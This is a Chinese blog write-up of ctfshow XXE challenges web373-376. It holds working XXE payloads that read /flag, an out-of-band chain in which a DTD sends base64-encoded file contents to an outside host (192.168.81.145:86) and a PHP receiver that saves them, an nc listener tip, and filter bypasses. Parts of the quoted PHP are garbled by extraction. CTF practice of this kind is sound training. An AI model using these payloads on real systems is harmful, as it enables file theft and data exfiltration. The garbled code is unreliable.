2024年网络安全最全XXE-ctfshow373-378

$ctfshow = $creds->ctfshow;// 节点嵌套
echo $ctfshow;

}
highlight_file(FILE);


 参考:[xxe学习(一)-CSDN博客]( ),构造外部实体:![](https://img-blog.csdnimg.cn/direct/6285e5eac46b4699b20adb01da7a5292.png)


发现成功了,构造payload:



<?xml version="1.0" encoding="utf-8"?> <!ENTITY ls SYSTEM "file:///flag">

]>


&ls;



![](https://img-blog.csdnimg.cn/direct/6ea0d617ef8c438e9681d57873b455f1.png)


### web374



error_reporting(0);
libxml_disable_entity_loader(false);
x m l f i l e = f i l e g e t c o n t e n t s ( ′ p h p : / / i n p u t ′ ) ; i f ( i s s e t ( xmlfile = file_get_contents('php://input'); if(isset( xmlfile=filegetcontents(php://input);if(isset(xmlfile)){
$dom = new DOMDocument();
d o m − > l o a d X M L ( dom->loadXML( dom>loadXML(xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(FILE);


由于无回显,我们可以用远端服务器进行回显。


![](https://img-blog.csdnimg.cn/direct/57c870e14c924e61becb18cd2012baf4.png)


1.php:



<?php $file="./test.txt"; $content=base64_decode($_GET['file']); file_put_contents($file,$content); echo "\n"; ?>

1.dtd:



<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://192.168.81.145:86/1.php?file=%file;'>">

 payload:



<?xml version="1.0"?> <!ENTITY % file SYSTEM "php://filter/read=convert.base6 4-encode/resource=/flag"> <!ENTITY % ls SYSTEM "http://192.168.81.145:86/1.dtd">

%ls;
%dtd;
%xxe;
]>


![](https://img-blog.csdnimg.cn/direct/996973fe73a2401a99598a0c580c3c28.png)


生成了test文件。


法二:用nc监听


将1.dtd里ip设为nc的地址和端口就可以了。


### web375



error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents(‘php://input’);
if(preg_match(‘/<?xml version=“1.0”/’, x m l f i l e ) ) d i e ( ′ e r r o r ′ ) ; i f ( i s s e t ( xmlfile)){ die('error'); } if(isset( xmlfile))die(error);if(isset(xmlfile)){
$dom = new DOMDocument();
d o m − > l o a d X M L ( dom->loadXML( dom>loadXML(xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(FILE);


过滤了`<?xml version="1.0"字符串。`


`绕过方式:在xml和version之间加2个空格。也可以直接不写。`


`剩下的和上一题一样。`


### `web376`



error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents(‘php://input’);
if(preg_match(‘/<?xml version=“1.0”/i’, x m l f i l e ) ) d i e ( ′ e r r o r ′ ) ; i f ( i s s e t ( xmlfile)){ die('error'); } if(isset( xmlfile))die(error);if(isset(xmlfile)){
$dom = new DOMDocument();
d o m − > l o a d X M L ( dom->loadXML( dom>loadXML(xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(FILE);



**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值